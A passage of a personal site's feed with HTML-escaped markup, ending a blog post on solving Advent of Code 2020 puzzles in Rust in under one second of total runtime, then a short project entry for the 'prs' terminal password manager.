&lt;&#x2F;span&gt;&lt;span&gt;###..  .#.#.  ..#.#
&lt;&#x2F;span&gt;&lt;span&gt;..##.  ..###  #...#
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;T7:    T4:    T8:
&lt;&#x2F;span&gt;&lt;span&gt;..##.  ..###  #...#
&lt;&#x2F;span&gt;&lt;span&gt;#..#.  .#..#  #..##
&lt;&#x2F;span&gt;&lt;span&gt;##.#.  .#.#.  .#.#.
&lt;&#x2F;span&gt;&lt;span&gt;.####  ####.  .###.
&lt;&#x2F;span&gt;&lt;span&gt;..##.  .####  #.###
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To solve the first part you must figure out what pieces are placed in the 4
corners. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kevinhill.nl&#x2F;&quot;&gt;@gkhill&lt;&#x2F;a&gt; gave me the insight (thanks for that!)
that corner pieces have two edges that don&#x27;t connect to anything and likely
won&#x27;t match any other edge. Now I only had to find 4 pieces with edges that
didn&#x27;t match any other edge. In the example above the tiles, T3, T2, T7, and T8
all have 2 edges that don&#x27;t match any other. Rather simple. That worked.&lt;&#x2F;p&gt;
&lt;p&gt;In &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;20#part2&quot;&gt;part 2&lt;&#x2F;a&gt; I use tricks like just rotating&#x2F;flipping tile edges
instead of the full tile body while positioning them. I won&#x27;t go into further
detail because it doesn&#x27;t seem to affect the total runtime too much. But you
might find the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day20b&#x2F;src&#x2F;main.rs&quot;&gt;implementation&lt;&#x2F;a&gt; interesting.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-23-crab-cups&quot;&gt;Day 23: Crab Cups
    &lt;a class=&quot;anchor&quot; href=&quot;#day-23-crab-cups&quot; aria-label=&quot;Anchor link for: day-23-crab-cups&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;23&quot;&gt;Day 23&lt;&#x2F;a&gt; involves a game of moving cups. The cups are arranged in a
circle. Each is labeled with a unique number. To solve the puzzle you have to
move chunks of them around based on a set of rules for a specific number of
turns, to get a final sequence.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;23#part2&quot;&gt;Part 2&lt;&#x2F;a&gt; gives you one million cups, for which you&#x27;ve to do ten million
moves. That&#x27;s a lot! Representing the cups as a list of numbers in an array
turns out to be very inefficiënt. For each iteration, you&#x27;d have to move a chunk
of cups through the list. This requires shifting a lot of items in memory,
resulting in many reallocations. That&#x27;s slow, no good!&lt;&#x2F;p&gt;
&lt;p&gt;Instead, I choose to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day23b&#x2F;src&#x2F;main.rs#L10-L18&quot;&gt;utilize&lt;&#x2F;a&gt; a structure that essentially
functions like a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Linked_list&quot;&gt;linked list&lt;&#x2F;a&gt;. I allocated an array with one item
for each cup. The array is indexed by cup number. For each cup, it holds the
number of the next cup. It effectively points to the following cup in the
arrangement, looping the sequence.&lt;&#x2F;p&gt;
&lt;p&gt;This is great because it makes moving a chunk of cups around super cheap.
Instead of having to shift a lot of items through memory, you just have to
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day23b&#x2F;src&#x2F;main.rs#L37-L39&quot;&gt;update&lt;&#x2F;a&gt; 3 pointers. To move a chunk of cups, I:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;update the cup before the old chunk position, to point to the cup after the old chunk position,&lt;&#x2F;li&gt;
&lt;li&gt;update the cup before the new chunk position, to point to the first cup of the chunk,&lt;&#x2F;li&gt;
&lt;li&gt;update the last cup of the chunk, to point to the cup after the new chunk position.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;Cup sequence: 3  8  9  1  2  5  4  6  7
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Linked list, storing our sequence:
&lt;&#x2F;span&gt;&lt;span&gt;+---+---+---+---+---+---+---+---+---+
&lt;&#x2F;span&gt;&lt;span&gt;| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | &amp;lt;- cup label
&lt;&#x2F;span&gt;&lt;span&gt;+---+---+---+---+---+---+---+---+---+
&lt;&#x2F;span&gt;&lt;span&gt;| 2 | 5 | 8 | 6 | 4 | 7 | 3 | 9 | 1 | &amp;lt;- points to (next cup)
&lt;&#x2F;span&gt;&lt;span&gt;+---+---+---+---+---+---+---+---+---+
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;To move chunk [8, 9, 1] after 5:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Cup sequence: 3 |8  9  1| 2  5  4  6  7
&lt;&#x2F;span&gt;&lt;span&gt;                +-------+
&lt;&#x2F;span&gt;&lt;span&gt;                       v
&lt;&#x2F;span&gt;&lt;span&gt;                      +-------+
&lt;&#x2F;span&gt;&lt;span&gt;Cup sequence: 3  2  5 |8  9  1| 4  6  7
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;          +---------- 1. change 3 to point to 2
&lt;&#x2F;span&gt;&lt;span&gt;          |       +-- 2. change 5 to point to 8
&lt;&#x2F;span&gt;&lt;span&gt;  +-------|-------|-- 3. change 1 to point to 4
&lt;&#x2F;span&gt;&lt;span&gt;  |       |       |
&lt;&#x2F;span&gt;&lt;span&gt;  |       |       |
&lt;&#x2F;span&gt;&lt;span&gt;  v       v       v
&lt;&#x2F;span&gt;&lt;span&gt;+---+---+---+---+---+---+---+---+---+
&lt;&#x2F;span&gt;&lt;span&gt;| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | &amp;lt;- cup label
&lt;&#x2F;span&gt;&lt;span&gt;+---+---+---+---+---+---+---+---+---+
&lt;&#x2F;span&gt;&lt;span&gt;| 4 | 5 | 2 | 6 | 8 | 7 | 3 | 9 | 1 | &amp;lt;- points to (next cup)
&lt;&#x2F;span&gt;&lt;span&gt;+---+---+---+---+---+---+---+---+---+
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As a bonus; you can instantly find a cup with a specified number by its index.
And because the last cup can point to the first an edge case is removed for
handling the sequence as a loop. Brilliant!&lt;&#x2F;p&gt;
&lt;p&gt;The final implementation runs &lt;code&gt;192ms&lt;&#x2F;code&gt;, making it the second slowest solution.
The optimizations are useful here to keep everything under one second.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-24-lobby-layout&quot;&gt;Day 24: Lobby Layout
    &lt;a class=&quot;anchor&quot; href=&quot;#day-24-lobby-layout&quot; aria-label=&quot;Anchor link for: day-24-lobby-layout&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;24&quot;&gt;Day 24&lt;&#x2F;a&gt; involves a floor of hexagonal tiles. You&#x27;re given a list of
directions to move on it, the target tile must be flipped between black and
white.&lt;&#x2F;p&gt;
&lt;p&gt;A hexagonal grid can be tricky to comprehend. I just &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day24a&#x2F;src&#x2F;main.rs#L11-L17&quot;&gt;work&lt;&#x2F;a&gt; with it
as if it&#x27;s a &lt;em&gt;square (but askew)&lt;&#x2F;em&gt; grid. Seeing a problem like this differently
can greatly reduce its complexity.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;         _____         _____         _____
&lt;&#x2F;span&gt;&lt;span&gt;        &#x2F;     \       &#x2F;     \       &#x2F;     \
&lt;&#x2F;span&gt;&lt;span&gt;  _____&#x2F; -2,-1 \_____&#x2F;  0,-1 \_____&#x2F;  2,-1 \_____
&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;     \       &#x2F;     \       &#x2F;     \       &#x2F;     \
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F; -3,-1 \_____&#x2F; -1,-1 \_____&#x2F;  1,-1 \_____&#x2F;  3,-1 \
&lt;&#x2F;span&gt;&lt;span&gt;\       &#x2F;     \       &#x2F;     \       &#x2F;     \       &#x2F;
&lt;&#x2F;span&gt;&lt;span&gt; \_____&#x2F; -2,0  \_____&#x2F;  0,0  \_____&#x2F;  2,0  \_____&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;     \       &#x2F;     \       &#x2F;     \       &#x2F;     \
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F; -3,0  \_____&#x2F; -1,0  \_____&#x2F;  1,0  \_____&#x2F;  3,0  \
&lt;&#x2F;span&gt;&lt;span&gt;\       &#x2F;     \       &#x2F;     \       &#x2F;     \       &#x2F;
&lt;&#x2F;span&gt;&lt;span&gt; \_____&#x2F; -2,1  \_____&#x2F;  0,1  \_____&#x2F;  2,1  \_____&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;     \       &#x2F;     \       &#x2F;     \       &#x2F;     \
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F; -3,1  \_____&#x2F; -1,1  \_____&#x2F;  1,1  \_____&#x2F;  3,1  \
&lt;&#x2F;span&gt;&lt;span&gt;\       &#x2F;     \       &#x2F;     \       &#x2F;     \       &#x2F;
&lt;&#x2F;span&gt;&lt;span&gt; \_____&#x2F;       \_____&#x2F;       \_____&#x2F;       \_____&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;24#part2&quot;&gt;Part 2&lt;&#x2F;a&gt; challenges us to a &lt;em&gt;Game of Life&lt;&#x2F;em&gt; one last time. This time we&#x27;re
using the hexagonal grid, however, ouch. The floor from part 1 is our starting
state. A set of rules is provided to flip tiles between black and white based on
their neighboring tiles.&lt;&#x2F;p&gt;
&lt;p&gt;I kept the square grid from part 1. Though each square tile has 6 neighbors
(including 2 diagonal) instead of just 4 to match what a real hexagonal grid
would be like. Based on the rules we only have to consider tiles that have at
least one neighboring black tile. This makes processing the infinitely sized
floor cheaper.&lt;&#x2F;p&gt;
&lt;p&gt;I &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day24b&#x2F;src&#x2F;main.rs#L30-L45&quot;&gt;compile&lt;&#x2F;a&gt; a list of all neighbor tiles for each black tile and
count their occurrence number. After collecting this list I loop over all these
neighbors with their occurrence count to process the rules accordingly. Using
this method I skip looping over a huge amount of useless tiles and asserting the
rules becomes simple, similar to what I&#x27;ve done on &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;solving-aoc-2020-in-under-a-second&#x2F;#day-11-seating-system&quot;&gt;day
13&lt;&#x2F;a&gt;. Doing just 100 iterations as the puzzle specifies
takes &lt;code&gt;43.2ms&lt;&#x2F;code&gt;, pretty expensive I think. With &lt;code&gt;656ms&lt;&#x2F;code&gt; total runtime so far I&#x27;m
still well under my 1-second target though.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-25-combo-breaker&quot;&gt;Day 25: Combo Breaker
    &lt;a class=&quot;anchor&quot; href=&quot;#day-25-combo-breaker&quot; aria-label=&quot;Anchor link for: day-25-combo-breaker&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;On &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;25&quot;&gt;day 25&lt;&#x2F;a&gt; you&#x27;re challenged to obtain the encryption key to break a
card-based door locking system. A set of cryptography rules is given, along with
the public key of the card and the door lock, and some additional parameters.&lt;&#x2F;p&gt;
&lt;p&gt;You have to brute force your way to the final encryption key which you must
obtain. After understanding the cryptography rules it becomes clear that you&#x27;ve
to run some multiplication &amp;amp; modulo calculations for an unknown number of cycles
to obtain the final key. The number of cycles will likely be very large, so
cracking this lock will take some time.&lt;&#x2F;p&gt;
&lt;p&gt;As part of the puzzle two public keys are given each having its own (unknown)
number of cycles and parameters. This means that there are two paths to brute
force the key, one of which being shorter. I want to be as quick as possible to
keep runtime low, but it is unknown which path is faster.&lt;&#x2F;p&gt;
&lt;p&gt;I, therefore, choose to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day25a&#x2F;src&#x2F;main.rs#L8-L21&quot;&gt;crack&lt;&#x2F;a&gt; both keys at the same time. The
process will be complete as soon as the key is found for either of the two,
using the shortest possible number of cycles. As the calculations on both keys
are so similar the compiler &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Automatic_vectorization&quot;&gt;vectorized&lt;&#x2F;a&gt; it in a single
operation, basically making it as quick as cracking a single key. It
took 8419518 cycles to crack this lock, running &lt;code&gt;27.9ms&lt;&#x2F;code&gt;. Awesome.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;results&quot;&gt;Results
    &lt;a class=&quot;anchor&quot; href=&quot;#results&quot; aria-label=&quot;Anchor link for: results&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;That&#x27;s it. I solved all puzzles!&lt;&#x2F;p&gt;
&lt;p&gt;Now it was time to measure the total runtime.
I&#x27;ve set up a simple &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;runner&#x2F;src&#x2F;bin&#x2F;runner.rs#L5&quot;&gt;runner&lt;&#x2F;a&gt; for this to run and measure &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;runner&#x2F;src&#x2F;lib.rs&quot;&gt;all&lt;&#x2F;a&gt; my
solutions in sequence.&lt;&#x2F;p&gt;
&lt;p&gt;My final solutions complete in just &lt;code&gt;699ms&lt;&#x2F;code&gt;! That&#x27;s from day 1 to day 25, 49
solutions in total, one after the other (!). Well under my 1-second
target. A fantastic achievement! Time to buy a cake.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;             ___________
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;#39;._==_==_=_.&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;            .-\:      &#x2F;-.
&lt;&#x2F;span&gt;&lt;span&gt;           | (|:.     |) |
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;#39;-|:.     |-&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;              \::.    &#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;               &amp;#39;::. .&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;                 ) (
&lt;&#x2F;span&gt;&lt;span&gt;               _.&amp;#39; &amp;#39;._
&lt;&#x2F;span&gt;&lt;span&gt;              `&amp;quot;&amp;quot;&amp;quot;&amp;quot;&amp;quot;&amp;quot;&amp;quot;`
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here&#x27;s a chart with all results plotted (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020#timings&quot;&gt;details&lt;&#x2F;a&gt;):&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;graph.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;5117b53b929ef29d00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Out of interest I also ran all solutions in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;runner&#x2F;src&#x2F;bin&#x2F;runner-par.rs#L14&quot;&gt;parallel&lt;&#x2F;a&gt; on my
somewhat old 4-core Intel i5 CPU, which completes everything in a whopping
&lt;code&gt;511ms&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;additional-tricks&quot;&gt;Additional tricks
    &lt;a class=&quot;anchor&quot; href=&quot;#additional-tricks&quot; aria-label=&quot;Anchor link for: additional-tricks&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;I did use other cool things to improve performance with which I didn&#x27;t mention
anywhere else. Here are some of them, most are Rust specific:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;macro.include_bytes.html&quot;&gt;&lt;code&gt;include_bytes!&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; &amp;amp; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;macro.include_str.html&quot;&gt;&lt;code&gt;include_str!&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: &lt;em&gt;instead of
reading puzzle input from a file at runtime, I embedded the file statically in
the solution binary itself using these Rust macros. This removes file read
operations, while still having a puzzle input file, shaving off some time.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;reference&#x2F;attributes&#x2F;codegen.html#the-inline-attribute&quot;&gt;&lt;code&gt;#[inline]&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: &lt;em&gt;I suggested the compiler to inline some functions, to
limit time spent by calling functions a billion times, shaving off some time.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Geal&#x2F;nom&quot;&gt;&lt;code&gt;nom&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: &lt;em&gt;an awesome Rust crate for building efficient binary parsers,
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day18a&#x2F;src&#x2F;main.rs#L15-L32&quot;&gt;used&lt;&#x2F;a&gt; this in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day02b&#x2F;src&#x2F;main.rs#L16-L35&quot;&gt;various&lt;&#x2F;a&gt; places to parse tricky
formats faster and more robustly than regexes or manual splitting.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day23b&#x2F;.cargo&#x2F;config&quot;&gt;Custom&lt;&#x2F;a&gt; build flags and native optimization: &lt;em&gt;for some
solutions, I tweaked link-time optimization, disabled compile-time
concurrency, and compiled with optimizations for my specific CPU model to
shave of some time.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Increased stack size limit: &lt;em&gt;for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day15b&#x2F;src&#x2F;main.rs#L15&quot;&gt;day 15 part 2&lt;&#x2F;a&gt; I
increased the maximum stack size with &lt;code&gt;ulimit -s unlimited&lt;&#x2F;code&gt; to fit more
than 8192 kilobytes on the stack frame to make the overall solution more
efficient.&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;See the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&quot;&gt;source code&lt;&#x2F;a&gt; for more interesting stuff.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;closing-words&quot;&gt;Closing words
    &lt;a class=&quot;anchor&quot; href=&quot;#closing-words&quot; aria-label=&quot;Anchor link for: closing-words&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Some have probably come up with some faster solutions than me. When I compare my
solutions with others in the Advent of Code &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;adventofcode&#x2F;wiki&#x2F;solution_megathreads#wiki_december_2020&quot;&gt;megathread&lt;&#x2F;a&gt; on
Reddit, I seem to have done very well though.&lt;&#x2F;p&gt;
&lt;p&gt;Setting this goal made this year&#x27;s Advent of Code very interesting to me. It
constantly required me to think about what the most efficient approach could be.
This makes you creative, making your code quite elegant in many cases. If you&#x27;re
looking for a challenge, I recommend you to do the same. Please consider to
share your cool implementations as well.&lt;&#x2F;p&gt;
&lt;p&gt;Thanks for reading folks. I hope you&#x27;ve gained new insight on programming
challenges and have learned a thing or two. I&#x27;ll see you on the 1st of December
for the next &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;&quot;&gt;Advent of Code&lt;&#x2F;a&gt;!&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>prs</title>
                <pubDate>Thu, 22 Oct 2020 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/prs/</link>
                <guid>https://timvisee.com/projects/prs/</guid>
                <description>&lt;blockquote&gt;
&lt;p&gt;A secure, fast &amp;amp; convenient password manager CLI using GPG and git to sync.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;prs&lt;&#x2F;code&gt; is a secure, fast and convenient password manager for the terminal. It
features &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gnupg.org&#x2F;&quot;&gt;GPG&lt;&#x2F;a&gt; to securely store your secrets and integrates &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;&quot;&gt;&lt;code&gt;git&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
for automatic synchronization between multiple machines. It also features a
built-in password generator, recipient management, history tracking, rollbacks,
housekeeping utilities and more.&lt;&#x2F;p&gt;
&lt;script id=&quot;asciicast-368611&quot; src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;368611.js&quot; async&gt;&lt;&#x2F;script&gt;
&lt;p&gt;&lt;small&gt;&lt;em&gt;No demo visible here? View it on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;368611&quot;&gt;asciinema&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;small&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;prs&lt;&#x2F;code&gt; is heavily inspired by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.passwordstore.org&#x2F;&quot;&gt;&lt;code&gt;pass&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; and uses the same file structure
with some additions. &lt;code&gt;prs&lt;&#x2F;code&gt; therefore works alongside with &lt;code&gt;pass&lt;&#x2F;code&gt; and all other
compatible clients, extensions and migration scripts.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&#x2F;#features&quot;&gt;Features&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&#x2F;#usage&quot;&gt;Usage&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&#x2F;#requirements&quot;&gt;Requirements&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&#x2F;#install&quot;&gt;Install&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&#x2F;#build&quot;&gt;Build&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&#x2F;#security&quot;&gt;Security&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&#x2F;#faq&quot;&gt;FAQ&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;prs&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;prs&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Barbapappa</title>
                <pubDate>Fri, 15 Nov 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/barbapappa/</link>
